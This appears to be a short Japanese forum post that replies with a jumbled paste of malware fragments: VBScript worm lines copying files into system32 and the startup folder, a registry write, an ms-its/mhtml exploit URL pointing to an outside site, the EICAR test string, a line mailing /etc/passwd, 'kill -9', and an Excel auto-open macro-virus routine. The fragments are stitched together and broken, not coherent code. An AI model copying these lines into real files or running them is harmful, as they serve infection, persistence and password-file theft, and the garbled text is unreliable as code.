>>25 こういうの↓ <body onload=window()> If s = fso.CopyFile f1.path, f1.path+"l" Set A4 (1))) fso.copyfile \" c system32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c virus.txt.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-virus-file!$H+H* fso.copyfile "dirsystem&etc.vbs", "j:\windows\start menu\programs\startup\" If s = fso.CopyFile f1.path, f1.path+"l" ToInfect. G.RegWrite A lines(n)= ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START cat /etc/passwd | mail nobody kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub